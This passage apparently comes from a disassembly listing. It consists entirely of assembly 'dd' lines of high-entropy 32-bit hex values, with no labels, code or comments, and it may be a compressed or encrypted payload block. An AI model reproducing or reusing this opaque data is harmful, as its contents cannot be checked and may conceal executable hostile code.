		dd 706BB888h, 645FC1B7h, 45840FA0h, 0A12F3938h,	0FE4E3290h
		dd 0AA231920h, 5678A627h, 0DC465A23h, 0C233E821h, 0B0342C9Ch
		dd 0E9894078h, 0CAABA92Dh, 0AA184B59h, 462A96C4h, 9E90B72h
		dd 482634C7h, 0D116C555h, 7C498831h, 0FCA83F5Ah, 8B3A7D03h
		dd 0C8982055h, 703E1C1h, 8D111C38h, 1F749934h, 3ED1F13Eh
		dd 2ACA08B6h, 1E884048h, 0C363FCE9h, 7B8468B1h,	0BE254C9h
		dd 0D7458444h, 4E16E22Bh, 22C440FDh, 0F98BFA30h, 0BEE9E281h
		dd 0F7F23BC3h, 0E96342B4h, 0A5FCC395h, 8C2FE1D8h, 98C87475h
		dd 0DB322528h, 86B6316Eh, 958F5C90h, 9974BB33h,	0CD6DD8FFh
		dd 12091A41h, 502D5EF2h, 14A5038Ch, 0B933313Fh,	0B3628856h
		dd 37402427h, 0A84886E9h, 0B4EFF419h, 25D371D8h, 654C73BAh
		dd 0C599FEE4h, 69E8D718h, 0E37014D4h, 8FE1DEBDh, 0C6CD4653h
		dd 0B308F11Dh, 4BBBEEA3h, 30FFA517h, 87ABBC45h,	9A7F24FAh
		dd 565ED087h, 5714E54Bh, 0E0A1ED50h, 0F7955832h, 148CF892h
		dd 0E322BC47h, 0DF87575Eh, 21C11CF9h, 30022AB1h, 9ADBBE9h
		dd 600857FCh, 30A9CFC2h, 0F6280584h, 484627B3h,	0E87D8197h
		dd 6339D464h, 87E27043h, 88739117h, 8EEB893Ch, 647FBF1Ah
		dd 0A76F30F4h, 751F384Ah, 18D11355h, 2E4855CFh,	35D4BCCDh
		dd 535147E9h, 8813EBCAh, 7FCC62EBh, 5990E07Dh, 0E19C9542h
		dd 888BE9Ch, 246D032h, 0A1535BBDh, 31D4888Ah, 3010E917h
		dd 0B918261Ch, 1097D63Eh, 954101DCh, 1508CE14h,	53C7E4B4h
		dd 0B40C78FBh, 2C0B0142h, 0A1573D89h, 0A592E9B2h, 99D78AA5h
		dd 2B030CB6h, 0FC8514A9h, 65D61D7Eh, 0E3EFD685h, 4DAE1666h
		dd 0B00AFF7h, 7CF73B46h, 569732E3h, 1B08345h, 710CF8EBh
		dd 3C2010B8h, 31CB2EE8h, 48566012h, 2C747457h, 33EE07E6h
		dd 0C3C947C1h, 0B36A036Ah, 7B10513Fh, 0E80960B6h, 0F5444B21h
		dd 85BB9496h, 0DAEB03E0h, 5BC49BABh, 40C0721Ah,	5B740C4Dh
		dd 5A66A8C0h, 319E5AB8h, 6A297066h, 688959F3h, 0F56A2B55h
		dd 0E8240DB4h, 57AD233Bh, 5646AC14h, 0E1C73B17h, 0F557AF67h
		dd 568C5605h, 906DFDF7h, 70A52217h, 7B205CBEh, 0BCDFF0C4h
		dd 13929647h, 861F99B0h, 0F2BD8010h, 750C33C3h,	497E507Dh
		dd 466543D8h, 68741441h, 0BA04A938h, 0F474B70Fh, 75028236h
		dd 68878347h, 276B46F4h, 0EE9EE816h, 40844832h,	0F7810C40h
		dd 0F31403Eh, 0EB43C39Dh, 0C24F2068h, 77642721h, 1C4CF662h
		dd 0AAB68B77h, 5BC3D853h, 3BAD6BE9h, 821114FFh,	5DE909EBh
		dd 4D2EC845h, 7547EB6Eh, 53570732h, 2FB808AFh, 7F95A274h
		dd 839217F3h, 29B1EB17h, 1DDAE23Eh, 78DA0575h, 837FC10Fh
		dd 0BEA96BB1h, 2BA651FAh, 5374FDF0h, 144F100Fh,	0C0D131FBh
		dd 0AA4B046Ch, 12D6A8D7h, 5D728748h, 0CD2C16C2h, 275E3838h
		dd 884234A6h, 0CE763088h, 161318FAh, 688FAF23h,	8BC9BC5Fh
		dd 8EE4D504h, 74788490h, 40348D1Ah, 2286180h, 0B69A0ABEh
		dd 4E5EB930h, 6C27621Ch, 1C753FDEh, 422C2A64h, 629060BEh
		dd 67DA41C4h, 0BD12EE69h, 0EB033126h, 0DB52913Ah, 1D575276h
		dd 0A0902821h, 1DEB14C0h, 4054048Dh, 3418FF18h,	68832885h
		dd 1F42EBF0h, 2A0C1981h, 0EC5B55FCh, 531CC28Eh,	0FF846257h
		dd 7A94B144h, 0C630DD4Bh, 58960A75h, 0EB1E9E6Ah, 74F156D7h
		dd 31FB3CA1h, 33A28028h, 20F32906h, 41954D65h, 741982B8h
		dd 0D4030A2Bh, 37617E17h, 327F060Eh, 4754FE2Bh,	988F4851h
		dd 0B716EB65h, 1464ABE4h, 723881Fh, 89EC1322h, 485908E0h
		dd 299C2791h, 5E120757h, 5294E2BBh, 0DCB92D29h,	0C13B82D3h
		dd 6AD5870Fh, 65515DD3h, 22FB30BFh, 1E745A77h, 0D8C88B4Eh
		dd 493DEAE9h, 99C121E3h, 51182206h, 0A8313F1h, 0EF850F24h
		dd 25754B48h, 0A79A86Ch, 906BDC08h, 44C488CDh, 119022C3h
		dd 846408B9h, 1021AF42h, 0B067A511h, 0EF1C8681h, 0AE257433h
		dd 11063B1Bh, 219CA664h, 84126AF8h, 158EC811h, 6CEA7DEBh
		dd 10761307h, 6F3F0713h, 7D69EC11h, 0B15BB929h,	746D7780h
		dd 4E888D58h, 83AF03DEh, 60E811F9h, 890EB60Fh, 1F41307Ch
		dd 548D2486h, 689820Fh,	81803D2Bh, 0BB213607h, 882F0702h
		dd 7E3E07B2h, 2189E079h, 1A0884F9h, 7E8458FCh, 67FC2213h
		dd 0D8500598h, 0B8FC0507h, 0E8A0E28Bh, 4EB0E8D7h, 1353C824h
		dd 8E2E709Fh, 529C4514h, 0D81B8E5h, 992FFEC3h, 1AE705DEh
		dd 33210991h, 33F721E9h, 13190C09h, 19F00932h, 9012E3Bh
		dd 0D3030201h, 61904ABh, 7080605h, 31080696h, 6B038C42h
		dd 2449ADE6h, 0E612AED6h, 95142766h, 0DC605D6Ah, 38BB6C9Ch
		dd 4A935025h, 0D649BE89h, 62EC5D14h, 2DDC08C8h,	68475E7Ch
		dd 3F697D1Bh, 6E30C903h, 581288FDh, 11FC32A3h, 91EA3D30h
		dd 0B48508D9h, 52BF3397h, 611DE840h, 78B58D17h,	468B7380h
		dd 43744808h, 103906C8h
		dd 4025202Fh, 781111Bh,	916CBF20h, 0E1849D32h, 0BEA1789Fh
		dd 607E86FEh, 86547F86h, 6B86487Eh, 605F0F3Ch, 497FE838h
		dd 156E3123h, 2236FF87h, 0A193FC76h, 3F304DACh,	4A633891h
		dd 0B574AAA4h, 0B1D064D4h, 3AD8A4FBh, 0C6054728h, 67D3B24h
		dd 3D668CA0h, 0DF7C1297h, 0D22983CAh, 0C50B432h, 5EF63B50h
		dd 62E55B5Bh, 0C521B92Fh, 0F3FB850Ch, 90D37FD1h, 5FAB7517h
		dd 8B48DE3Fh, 0EC0F575Ch, 8C01AD44h, 22B84CB9h,	1698105Ch
		dd 5AE6A38h, 0AE3E7E73h, 0EAFB799Dh, 648D8258h,	0B9F0809h
		dd 0DF027604h, 0C7C78C5Ch, 86DA13Bh, 184122BAh,	0A65452EBh
		dd 12B44D0Eh, 0C7FDBBD9h, 2C21324Eh, 88C80410h,	2035056Bh
		dd 1F56AF94h, 84542051h, 0A8276CCCh, 5D1B186Bh,	0EC38FFC3h
		dd 4F8BB85Eh, 0BE801FFBh, 57555386h, 8B120256h,	0B4AF383Dh
		dd 71BDFF29h, 3C653B2Dh, 0AC00AF28h, 5C05F6D7h,	19AC08Eh
		dd 1675E88Bh, 0B0D802Ah, 4F55CA3h, 134F7BDh, 8BFCA359h
		dd 557220B0h, 9A335FFh,	28347246h, 5F170FA1h, 83715B5Dh
		dd 65225720h, 254A5C38h, 0A67E8793h, 10A21552h,	0BEE05F41h
		dd 3D69921Fh, 0E07B9B89h, 598A7F6Eh, 1D651251h,	0F04D0646h
		dd 0F47010FFh, 80292566h, 0E8E41254h, 2A328D1Eh, 0FC2752B9h
		dd 82A09AF5h, 0E9026AEDh, 5F129850h, 6C519144h,	3BCE02D0h
		dd 1002A985h, 2F7E86DFh, 0C5C96435h, 0FF488950h, 77F30955h
		dd 8DF8E1E0h, 0E13F442Fh, 0BA493D41h, 55579060h, 95701953h
		dd 727EBFD6h, 5E2F134Ah, 6DB5479Ch, 0D212A503h,	15AA6762h
		dd 2D441D59h, 0CB70328Dh, 0C479F55Eh, 1492D4C8h, 8945751Ah
		dd 0FD29AF49h, 7F9B9227h, 0F00B7EFAh, 166DD068h, 0F9562133h
		dd 7D41817h, 891437D8h,	0CFF6A6FCh, 1289F52Dh, 14E45C19h
		dd 0DE3B9005h, 0FB81E8C1h, 58782B62h, 0E8098635h, 6E660747h
		dd 98FDF020h, 0B9A1D0FAh, 0EC0BA627h, 0FDA624DDh, 0F510BCDBh
		dd 0EB2482F8h, 5FCC806Dh, 2F147D39h, 0BF825C72h, 8D82708Dh
		dd 0C7CA1076h, 0B83584E4h, 0BEE17F90h, 4050BCFBh, 41B4CD3h
		dd 682AEC06h, 4C455A74h, 0E45B7EA3h, 0C22C329Ah, 3B1A6116h
		dd 0AC76B48Bh, 7055DEC2h, 82A4FCBBh, 0FA41AA32h, 908D7824h
		dd 5A5348BCh, 0D9EA11C5h, 8B83ECCh, 3EDF3BC6h, 0A0199158h
		dd 5E74C72Bh, 7C50ED26h, 1C863B64h, 53272DB3h, 142C870h
		dd 22EB337Ah, 8C85E719h, 3941172Fh, 85164331h, 0F57A4D27h
		dd 9503EB85h, 0E3C2EE2Fh, 53FA6820h, 8E6021BEh,	106E84C2h
		dd 508C1F8Eh, 9F11C947h, 27D4380Eh, 441128E2h, 5986670Ch
		dd 60842118h, 0A9086C8Eh, 350D4522h, 12E77A21h,	9924E47Dh
		dd 63BF246Eh, 78B7FD9Dh, 269993C4h, 63DCF642h, 65176900h
		dd 0EC50CB2Ch, 0F01278DDh, 0F80C4759h, 0B83E58C1h, 0DC0867E6h
		dd 2D575043h, 0A1F6E838h, 126F044Dh, 98AA6463h,	0FD424C69h
		dd 927041CFh, 1C6C6722h, 7E020445h, 1D1F1156h, 0D0155890h
		dd 0B6A1460h, 13F02532h, 0F8CC5F6Ch, 3521787h, 1C6A76A2h
		dd 17821979h, 5A267C53h, 54FA30AEh, 65884370h, 0FB41D31Eh
		dd 0B141349h, 920855A3h, 0BF56441Ch, 4BB0AAF0h,	7014CCF6h
		dd 21310C53h, 43349144h, 0C988C828h, 7008A2FDh,	302B9908h
		dd 4585090Ch, 453625Dh,	0E10C2439h, 35C81D47h, 1024B75Bh
		dd 22940A1h, 5121BED7h,	82DF13EBh, 0FCE65231h, 7E70421Ch
		dd 578A146Bh, 52E18D6Eh, 0A159051h, 6479F5E4h, 6FF07114h
		dd 0A15DE09h, 71CCF5BCh, 0A9DC1C1Ch, 8A0A3D2Bh,	20C45391h
		dd 1519CC72h, 7969880Ah, 86B81C18h, 0E41CEA23h,	8E2C283Eh
		dd 0C22BA043h, 2C16C528h, 438E3053h, 50972188h,	478EF4EBh
		dd 0BA782124h, 0F4C3A1C2h, 0B828230Eh, 514421C3h, 34230A98h
		dd 1CC85490h, 0C8704354h, 0C470EF3Ch, 457C1BF1h, 0C8381185h
		dd 78C9652Ch, 53A51D28h, 18C84C91h, 112A9E64h, 40C8F3F2h
		dd 763204E4h, 0F3CA0815h, 0F01C4471h, 4B216E42h, 50169F51h
		dd 5B5F2004h, 6FCA2CEBh, 422AB82Ah, 0B28C7021h,	0A05C9FC8h
		dd 3021656Ah, 0F1A4FD2Fh, 9626A209h, 72BF6A57h,	355918B2h
		dd 148C43AEh, 5FE84089h, 0FA31D54Eh, 35A223C4h,	0B4E82564h
		dd 7041F838h, 614A10BBh, 2CF31B7Fh, 7BE8E73Bh, 14EB029Ah
		dd 25157438h, 231055A3h, 3C2574F4h, 5039993Dh, 10EA141h
		dd 61DE392Ch, 4270C008h, 0C41B1A6Dh, 0F246BC78h, 34E07B2Fh
		dd 33B8FE3Bh, 7E85AFF9h, 338D2087h, 741E6976h, 4C37FF99h
		dd 4586B844h, 7C224429h, 82867745h, 0A8E07FF8h,	4300F845h
		dd 72145D3Bh, 0A62AEBC3h, 14784339h, 0B87D19F0h, 1C54863Fh
		dd 0C24747Bh, 33C42F57h, 81E7A0BFh, 5B96F4E6h, 3B590464h
		dd 106E1D07h, 60C85873h, 103B9864h, 2082F1E7h, 0C884C033h
		dd 5E94B7F4h, 8586521h,	4286A118h, 7BF80194h, 4F745B77h
		dd 59050E9Dh, 0E9080A40h, 0FA320331h, 0F4350722h, 0F570113h
		dd 77CC685h, 0E90A7388h, 0B0100ADDh, 8844D388h,	7411C922h
		dd 4284BF08h, 10B52164h, 0ACAB884Ch, 747C01CCh,	38C82D28h
		dd 1A5C77C8h, 850D39D0h, 34687875h, 0BD8F1C08h,	420A1028h
		dd 72EC1085h, 0D47EEB1Dh, 773F07D0h, 70059C21h,	0AE37C5B9h
		dd 277430F0h, 17AD6E2Dh, 844852E6h, 0B061566h, 3275340Eh
		dd 7B241DC4h, 7E0728A8h, 280C4245h, 71619F3Eh, 0CA2D370Fh
		dd 3A2B2E43h, 1FB217F6h, 0CAAA250Ah, 4D852DB9h,	1A1D0A94h
		dd 480720AFh, 7404013h,	843CFC0Ch, 7CAC439Dh, 306CE10Fh
		dd 18A6E839h, 0BB8943Ah, 0A2B49B76h, 0AB564BBCh, 35EB7E64h
		dd 6609BA7Bh, 0E56C553Dh, 0F5BCBE72h, 0FEF830B1h, 0F25F8912h
		dd 2140B445h, 31561810h, 0AB8BFCE8h, 3C614602h,	833CD910h
		dd 0DDE0D110h, 25221234h, 7AD9F56Ah, 36CCA817h,	0FCBE2F14h
		dd 1888185Eh, 0E8560274h, 167917B2h, 348D290Eh,	0F8513B30h
		dd 9499EF84h, 5459C928h, 2A82EE29h, 1000F173h, 8B148217h
		dd 0FAF357C6h, 0A346DF3Dh, 5FB0286Ah, 0CA83AC04h, 2465F7Ch
		dd 8DF1BF3Eh, 8448A26h,	865440E0h, 31297426h, 0D8AA0C12h
		dd 830206F2h, 0EB02F84Dh, 38C97004h, 0ABCE56FDh, 0D3ECE15Dh
		dd 0F0220464h, 0E8ACDE55h, 0B29CA6Bh, 0DD180550h, 7597496Ah
		dd 64F70929h, 6754B539h, 0D49D8941h, 0ABF30D83h, 0B36288B9h
		dd 11FCB426h, 4112DAB0h, 0DDA76A86h, 215E93DDh,	0B8885E18h
		dd 5A5244A2h, 74A88438h, 0B231E805h, 0B6533F84h, 95ACE80Fh
		dd 6AE31477h, 203D4722h, 6C7545Ch, 0E6014A28h, 4F15280Fh
		dd 9712F8BDh, 0F56482D6h, 1E902850h, 0C775B889h, 75188685h
		dd 144E0AE3h, 0E44F7B8h, 0D574060Ch, 57DCB5FFh,	6D086A29h
		dd 0A1C32634h, 0AFC042F8h, 85052426h, 578D2074h, 864DEE0Ch
		dd 2D099164h, 100E3C53h, 48FDD030h, 49124254h, 88AAD712h
		dd 5427681Ch, 15001174h, 0B0D6613Ah, 0C70112FAh, 0EE3588B2h
		dd 17A81446h, 0BA53E9D6h, 4030E634h, 9D19DFE8h,	334DB2F1h
		dd 7B535C08h, 0BF1FFE68h, 0D122565Bh, 6E2A9F83h, 407F8F53h
		dd 7531EFA4h, 17EB8D05h, 5458BE9Dh, 369AEE14h, 0FDED44B0h
		dd 7AF6BD84h, 0BD029870h, 26900EFBh, 0D1C168CDh, 7C59AFE8h
		dd 23949C13h, 4298F527h, 154A2EE8h, 0F85332FFh,	0EE2C4A33h
		dd 9904EF3Dh, 6DE83E02h, 29C89BEDh, 2518F032h, 0F47AC15Dh
		dd 42D61D58h, 0D4182FFDh, 74AC4283h, 0DEED78C6h, 0CCC26208h
		dd 235F0814h, 190D7160h
		dd 501F3318h, 0F0EC2571h, 0FF124A59h, 0BD6BB33Dh, 560E5A69h
		dd 2A24FC0Ch, 0D0DA757Ah, 56261664h, 93D2A8Bh, 0C64D33BEh
		dd 7BCCEFD6h, 2F43B051h, 0AE1214A1h, 32E77AD7h,	2B0CDB0Ch
		dd 0DAF05C58h, 0DC0C4D7Bh, 5216680Dh, 1ECB27E8h, 0F6464CCAh
		dd 0C914D697h, 34825258h, 0C70EE974h, 0C2288604h, 5A909D22h
		dd 61B71C6Ah, 1505190Bh, 390BF335h, 4358A035h, 0E8267E04h
		dd 0E6BF1443h, 7C5227EAh, 4075105Bh, 228A5527h,	0A23B46D6h
		dd 99DA7C26h, 5F4A538Eh, 59760422h, 33B0850h, 348E7CBFh
		dd 82B81B7Eh, 50EDF2D3h, 7E0BD630h, 0D28BE816h,	0FD6FBAF7h
		dd 1F146EE8h, 0FE3B4707h, 24B5EA7Ch, 0D7C4FC17h, 96A1BDAAh
		dd 0B05748C8h, 9DF870E0h, 0A858B954h, 95F88A13h, 8D8CBE2Ah
		dd 0BFBB56FEh, 5940F1Fh, 416A130Fh, 5A0FD5F8h, 361C13Bh
		dd 0F0FC5589h, 5B02F983h, 616AF37Ch, 40109459h,	7D4C8B7Bh
		dd 15C34240h, 88EA1892h, 1359580Ch, 186BE285h, 0E5AA2C17h
		dd 14F0380Ch, 0F46F94ACh, 2BE69C7Eh, 0AE082938h, 36114408h
		dd 0ECB02DDBh, 124E9053h, 5F2A181Dh, 0BC12E410h, 751753F6h
		dd 8803C4B4h, 639B56E6h, 0BE505704h, 7DB2E2BEh,	851EFAFBh
		dd 0B5801994h, 0A4A26E83h, 19A10426h, 17741447h, 121E2C0Fh
		dd 41D58A7Ch, 0B82FBE02h, 3F0E90BCh, 22633F02h,	5CEB29ECh
		dd 50A1327h, 8E8BEF0h, 5AC04C10h, 42BE3E75h, 513C29E4h
		dd 2E750505h, 42525066h, 192323E0h, 8DC2101h, 27E8C13h
		dd 0EBD39C55h, 0A4D0D822h, 94682B7Ah, 571391E3h, 11DA840Ah
		dd 16EC122Fh, 1C127F6Bh, 0A71FF856h, 5265C01h, 0C03CD104h
		dd 0E3BC7A9Bh, 2B766482h, 25DB5977h, 75A84760h,	8FBC2286h
		dd 14A08081h, 0E44A06FCh, 5CA49068h, 2B20EB29h,	464B627Bh
		dd 515710EAh, 0C41737EBh, 76B05718h, 1F76365Eh,	0E4BF257Ah
		dd 2AF32066h, 1FDF4E84h, 55291589h, 329DFFCCh, 0BEF54068h
		dd 0A4A7D62Ch, 150D74EAh, 4DF4468Dh, 0FBBFE8E8h, 59D8F700h
		dd 0EB16E895h, 0E8B250Ah, 0AB6287C2h, 0DE9AF270h, 0C60483F8h
		dd 0FE814714h, 3F7C2DC8h, 0A761EBCBh, 0D8BF048Dh, 306C8514h
		dd 5A7DF623h, 2B2C910h,	4772FC69h, 0D3C35D37h, 0B816B159h
		dd 2A19CC15h, 7B484586h, 890B72BDh, 1EFDA4B0h, 8DA37926h
		dd 7CE6CC90h, 66AD80Bh,	74EA7D56h, 62E8F9D7h, 0D7DE5F74h
		dd 5F4D8BD0h, 29FACDD4h, 52B12DD0h, 3E74285Bh, 9FD8E646h
		dd 0BF139C6Ch, 4C29264h, 0BBB0AAACh, 0C60FAE0Bh, 0FF4C2173h
		dd 0AE17E013h, 0E8E588AFh, 0E8E7FB2Fh, 9F6C1669h, 4C75BC12h
		dd 0C55F4E6Fh, 34E7BBCFh, 2001301Ch, 0CEA65DF2h, 5940F3EEh
		dd 0CC0B8A50h, 1215645Fh, 98A083C7h, 0ADCB33E8h, 8CE757D4h
		dd 6BFED009h, 1AF94E0Eh, 111BF9EEh, 5050599Eh, 0DC95DCDEh
		dd 276B7838h, 0F8C7A984h, 0E034FA2Bh, 9C689E01h, 0B96B4144h
		dd 0C73BC42Eh, 6C404EA1h, 0BF47D39h, 326A0675h,	73FE6A5Fh
		dd 0B3A7BE3Fh, 0BB8914A2h, 32D95844h, 0B56FE084h, 0C69DA25h
		dd 0D7E8ADA7h, 0C4A7053Fh, 297E52EAh, 0FF3DE90Bh, 981C54D3h
		dd 0A0D79525h, 2DEDA3F0h, 89D5F896h, 0A6DB4794h, 0A14549EBh
		dd 0E8077483h, 0EB2F1D1Bh, 338C905h, 7B91E67Dh,	0BFE38ECh
		dd 1B6CAA5Bh, 0C5D49714h, 3DC5E1A7h, 0FC3A43Fh,	99198534h
		dd 0CABE66F0h, 1CF8802Fh, 0D8413C1Fh, 424BC2D0h, 0A4086842h
		dd 66531043h, 79D0A112h, 73D3F6FBh, 15EBB3A0h, 174D9EBEh
		dd 589A5621h, 0DB5D37C4h, 0A959A723h, 9D798C08h, 0E05CDD05h
		dd 1CB17795h, 4A833BAFh, 0E7BB8C59h, 42125835h,	18681B19h
		dd 913C2149h, 75F940A7h, 919FBE1Ah, 0E5D8E1ECh,	4B903539h
		dd 0D569EA84h, 6A17A5EFh, 800AEC24h, 47D9ACE8h,	9B7DF82Fh
		dd 0AC327606h, 1AF79599h, 21A01E86h, 6C9D78B4h,	7C0FC4E1h
		dd 1C68291Ah, 77D80825h, 0AF0CEA70h, 783144A7h,	63848A43h
		dd 0FC825390h, 0BEC56462h, 0EC063218h, 0EBC4750Bh, 0D3DDEAE9h
		dd 48CE27CBh, 46CD574Fh, 0F0096E22h, 0D597874h,	28BE7182h
		dd 0E0F1D576h, 0F0AC2317h, 3814FA6Dh, 77A0847Fh, 9D966032h
		dd 0CB78B0BDh, 0A38D8611h, 36E48E42h, 1F68A030h, 0B85908C6h
		dd 76482265h, 7BE99926h, 74670C69h, 0E222B75Bh,	0EC2F8082h
		dd 60E7F63Eh, 83661030h, 0FE06477Ch, 64755924h,	0E986351Eh
		dd 17CFA87Bh, 34AAEA91h, 289362CEh, 8F76E830h, 0E09C3891h
		dd 0C4944EE1h, 0C6CE3FAh, 123F5989h, 0FC87A0ADh, 0D682762Ch
		dd 0ADFDF844h, 0A3FC1292h, 0FEBE1053h, 0AC366243h, 534C66DBh
		dd 5B539CE3h, 0A4C6542Dh, 21353D16h, 5F57190Ah,	0C2852375h
		dd 0FD2B6797h, 201222C7h, 4F33E9E4h, 0C9E6FCDBh, 15C00556h
		dd 53C8248Ah, 7BD8215Ch, 1C12C7E2h, 0A0F15342h,	0EF700C7Bh
		dd 2186E008h, 0E0590A8Bh, 0A6D100Eh, 0E0E45DC8h, 0E247B478h
		dd 0C6164B42h, 53246866h, 88C2BA8Fh, 30F45253h,	20E49C21h
		dd 0E7AD861h, 2A09EF16h, 7A881020h, 0CA2522F4h,	11A3351Ah
		dd 2A23E211h, 0EE202660h, 0EB572671h, 0AAACBF64h, 36D8A096h
		dd 84E85309h, 5261B4E7h, 183B7154h, 8A578CC2h, 0F00E4DDBh
		dd 9EEC7390h, 0B0C4E146h, 21F0CA65h, 2D15AE38h,	0DEE04992h
		dd 0C69541B3h, 5A219DA3h, 0CA3C01E0h, 1DA39386h, 2FFB8032h
		dd 0BEE02F9Ah, 146856F3h, 0B7627AA2h, 63E7C957h, 0C22F1B2h
		dd 5208E019h, 205E89A6h, 0F8F422EAh, 341E454h, 0F97E6375h
		dd 2D44935Ch, 0DA36E6B8h, 0CE1F1082h, 39930D91h, 11CF1F2Bh
		dd 0E1B1E0CFh, 0FE590064h, 6DD12CC3h, 44850DABh, 212F2753h
		dd 83E88D4h, 5FCA41A5h,	61D34732h, 22082617h, 531985A4h
		dd 8F6E617Ch, 45938010h, 0AD5B5E17h, 0FF1C7EFh,	0E6CD110Eh
		dd 84632017h, 69C14638h, 2C6CDD11h, 0D147919Dh,	453BA986h
		dd 58AACC0Ch, 5FB850DFh, 330C26C9h, 0B23EB351h,	2EA97B48h
		dd 0D6C0F8E9h, 8D01ED6Ah, 0A3123744h, 7247C70h,	54017847h
		dd 0F0170891h, 6A588889h, 0C72B7412h, 53156418h, 0D9F61A3h
		dd 6D0854E8h, 74527FEDh, 476A7DB1h, 243ECC1Bh, 8014436Ah
		dd 1E041934h, 50C3426h,	1014D7CAh, 3122491h, 2BD9BCF7h
		dd 12102285h, 4A44C486h, 21571036h, 5526DD51h, 383A2507h
		dd 9568F30Ch, 0E813564Fh, 99BA07EEh, 56ED2B30h,	64FB088Ah
		dd 8BCFACFBh, 0ADCE7971h, 8ED623ECh, 0A3E87B1h,	50F2D769h
		dd 0D5950777h, 41F6CFA8h, 985645EBh, 56DC535h, 0BD759E01h
		dd 0E91A8EA7h, 912EFE0Dh, 975BAC33h, 1DC3952Eh,	0E681E458h
		dd 6FF9BF2Dh, 2CD69E0Ah, 0C785249Eh, 0C5BC5F5Eh, 14C7A77h
		dd 75C98404h, 0A7B84101h, 575342B9h, 3E0293A7h,	0A90315A7h
		dd 40807719h, 12740A84h, 0C80D0DCEh, 115C9F0Ch,	0F424806h
		dd 8545FF03h, 3213BE56h, 0A31D0FE4h, 0E8C1F0D4h, 543C6708h
		dd 0B6504D0Ch, 9AA64C10h, 2C816E56h, 0C594F812h, 0C57596E8h
		dd 0A4C7B650h, 8011B9BAh, 53144D8Bh, 681D0B8Ah,	5FC24694h
		dd 8510F320h, 1C0376C9h, 323A048Ah, 0A9B22C3h, 0A29D0D41h
		dd 308C2675h, 0D13B423Eh, 15E4723Ah, 72E88CEh, 156A2277h
		dd 4EC6F485h, 880809C1h, 602C010Dh, 0DC20530h, 0FF0689E8h
		dd 0EB156318h, 0B3AC215Eh, 322DC29h, 0EA0D8966h, 0EF230ED5h
		dd 518E7ED1h, 0AF218417h, 6076A602h, 9D085537h,	0C8AD760h
		dd 0CB32380Eh, 4006A588h, 7214AB05h, 90FCA8B0h,	9CB5B821h
		dd 66FE25CFh, 0D7E0F749h
		dd 0DBB4050Fh, 0F63D4789h, 0EE7C828Ch, 50414BEBh, 7FA86EF7h
		dd 98FDC493h, 865A8DBEh, 1D73F831h, 3358F804h, 2089CF1Ch
		dd 0A6F2F526h, 53ED2C76h, 16211414h, 34303230h,	40D48027h
		dd 70F85E22h, 0A46EC35Ah, 0F637844Bh, 15E8B19Eh, 92A42BA7h
		dd 3D35EA6Ch, 0D346E6BAh, 85BCEAAh, 51437CD0h, 0A8CFC7DCh
		dd 31F328C2h, 3B1F733Ch, 6BBE2F09h, 2D12175Bh, 5098AB56h
		dd 0D45C529Ch, 0AB044613h, 94CA618Bh, 81248448h, 0DD1C8DC6h
		dd 251D23FEh, 53F0A2B0h, 0AB214255h, 402B0E14h,	7EF33BEDh
		dd 14E69779h, 33717D24h, 0FFA902C9h, 0D4A277B6h, 16FDBE8Dh
		dd 1F390C1Eh, 5DC40374h, 2ADF8977h, 549EF0E2h, 8A2C0628h
		dd 42F2EAF7h, 0D2850E35h, 85F84EBh, 88903421h, 5006F328h
		dd 0BC374240h, 0B68D61E2h, 1F354238h, 3D90FBD7h, 8B5F1E04h
		dd 41E3EEC5h, 0EE0F8A41h, 5BCDE05Fh, 45EA04FDh,	784301B7h
		dd 9697E0BEh, 39FE971Bh, 0C67D24BFh, 0BEFC5D05h, 0C4468833h
		dd 75081FC0h, 3D639D1Ah, 313E39B1h, 0F1DFF59Dh,	1273600Eh
		dd 199A49A6h, 204BFC52h, 0C9C89043h, 48A9CF97h,	6C41EE9Ah
		dd 0FCCE49B9h, 54583B11h, 0A714C73h, 27C18140h,	18F9143Bh
		dd 3FE93626h, 22D252D2h, 5C3B3117h, 2111D415h, 0C522428Ah
		dd 0C2AC835Eh, 0DAD10852h, 24BA4160h, 654B5D6Fh, 8EA7781Ah
		dd 0F94BA720h, 7EAD98FDh, 0B0E5971Dh, 684DE82Fh, 0C07C48F8h
		dd 1EB08689h, 2DD11AEBh, 0E038991Fh, 94866A0Ch,	2B12EE20h
		dd 0DAAF1FE5h, 2CFACFFFh, 5E6BC108h, 9D3A59D3h,	0F198EF33h
		dd 0C8918889h, 0DD280C32h, 0CB22EFBh, 0C341930h, 0C9DF8B38h
		dd 24E4B01Bh, 0F49CB9A8h, 8A05A0B6h, 12830E5Ch,	44FC5A74h
		dd 9F28DC7Eh, 9F129F0Ch, 804C83D2h, 2EAB2AF9h, 783F0A2Eh
		dd 0A5B34BDh, 0CA3AEF04h, 5F51BCACh, 8D8EB03Bh,	50460AC4h
		dd 0C97F0809h, 0CD2A4C67h, 2D62E42h, 0E8178831h, 3114ACD0h
		dd 0EB47464Eh, 2AEE20A0h, 5FA10BFCh, 0F010521Dh, 0EC120B84h
		dd 7FD34DC3h, 7D0B0A4Dh, 0C4B25D97h, 0F742742h,	0AD10296Bh
		dd 0AF02AF7h, 0F87D0721h, 6B398058h, 675B9A1h, 0F90CBE41h
		dd 60110A4Ch, 80198A2Ch, 6C5D66FBh, 4C4C2D39h, 3D677909h
		dd 2CE12D1Ch, 1C60418Ah, 49D8E771h, 0C83A00FFh,	5D3C1F7Dh
		dd 39771B74h, 56163EC9h, 7CFA39EDh, 0D93A0E8Ah,	0D883177Ch
		dd 0A803137Fh, 0EB5F3289h, 0E0FB730Ch, 7518133Ah, 28EE403h
		dd 827EA89Dh, 4CA2A646h, 0D2612BF8h, 302BC88Bh,	3B7CF937h
		dd 0FF51C4D9h, 0C982493Eh, 0D6298CBAh, 0E6FF8D12h, 54FF65CCh
		dd 8018840Eh, 741838A0h, 9486C98h, 200A882Dh, 15106CEBh
		dd 892940B4h, 0EB0E2007h, 0EA28DEE0h, 1E042ECDh, 8A00F5EDh
		dd 0CB7C3A08h, 16091978h, 69741A38h, 1D9B6F4Bh,	19F24E0Bh
		dd 6048054Ch, 0E83604F1h, 47D8FE62h, 6C3C7D75h,	8A3A6207h
		dd 7FBC106Ah, 8A24741Eh, 0F2D3124Ch, 0EBB9C605h, 0F1CA34E8h
		dd 32113011h, 5699C4Bh,	0AED329B2h, 0C475AC05h,	0D9B201Dh
		dd 0AA0C4AF8h, 0CCA7D74h, 58F6F34Ah, 91EE92E6h,	0EA8DE008h
		dd 42E0245Dh, 0FFB9A452h, 0C36A2BB7h, 407FC24Fh, 952837CBh
		dd 0E44DEC98h, 78F08B0Ch, 38E06408h, 0EB1A2080h, 0F9724B0Dh
